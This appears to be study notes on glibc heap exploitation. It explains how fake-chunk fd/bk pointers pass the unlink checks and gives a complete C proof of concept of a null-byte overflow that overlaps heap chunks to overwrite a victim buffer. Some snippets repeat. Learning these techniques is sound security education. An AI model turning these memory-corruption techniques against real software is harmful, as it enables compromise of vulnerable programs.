Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed. This shall give an intuition regarding how to adjust the fd and bk pointers of the fake chunk.
Set P->fd->bk = P->bk
Set P->bk->fd = P->fd
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL; // hex for "hacked!"
printf("%s\n", data); // Prints "hacked!"
Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed. This shall give an intuition regarding how to adjust the fd and bk pointers of the fake chunk.
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL; // hex for "hacked!"
printf("%s\n", data); // Prints "hacked!"
chunk1[3] = (unsigned long long)data; // 等价于:chunk1=data chunk1[0] = 0x002164656b636168LL; // 等价于:((unsigned long long *)data)[0]=0x002164656b636168LL,所以间接的将data[]中的内容修改成了"hacked!"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[19]; // padding
};
int main()
{
void *a, *b, *c, *b1, *b2, *big;
struct chunk_structure *b_chunk, *c_chunk;
// Grab three consecutive chunks in memory
a = malloc(0x100); // at 0xfee010
b = malloc(0x200); // at 0xfee120
c = malloc(0x100); // at 0xfee330
b_chunk = (struct chunk_structure *)(b - 2*sizeof(size_t));
c_chunk = (struct chunk_structure *)(c - 2*sizeof(size_t));
// 避免编译时产生告警
(void)a;
(void)c_chunk;
// free b, now there is a large gap between 'a' and 'c' in memory
// b will end up in unsorted bin
free(b);
// Attacker overflows 'a' and overwrites least significant byte of b's size
// with 0x00. This will decrease b's size.
*(char *)&b_chunk->size = 0x00;
// 避免malloc()检查异常:corrupted size vs. prev_size
*(size_t*)(b + 0x200 - sizeof(size_t)*2) = 0x200;
//*(((size_t*)c_chunk)-2) = 0x200;
// Allocate another chunk
// 'b' will be used to service this chunk.
// c's previous size will not updated. In fact, the update will be done a few
// bytes before c's previous size as b's size has decreased.
// So, b + b->size is behind c.
// c will assume that the previous chunk (c - c->prev_size = b/b1) is free
b1 = malloc(0x80); // at 0xfee120
// Allocate another chunk
// This will come directly after b1
b2 = malloc(0x80); // at 0xfee1b0
strcpy(b2, "victim's data");
// Free b1
free(b1);
// Free c
// This will now consolidate with b/b1 thereby merging b2 within it
// This is because c's prev_in_use bit is still 0 and its previous size
// points to b/b1
free(c);
// Allocate a big chunk to cover b2's memory as well
big = malloc(0x200); // at 0xfee120
memset(big, 0x41, 0x200 - 1);
printf("%s\n", (char *)b2); // Prints AAAAAAAAAAA... !
return 0;
}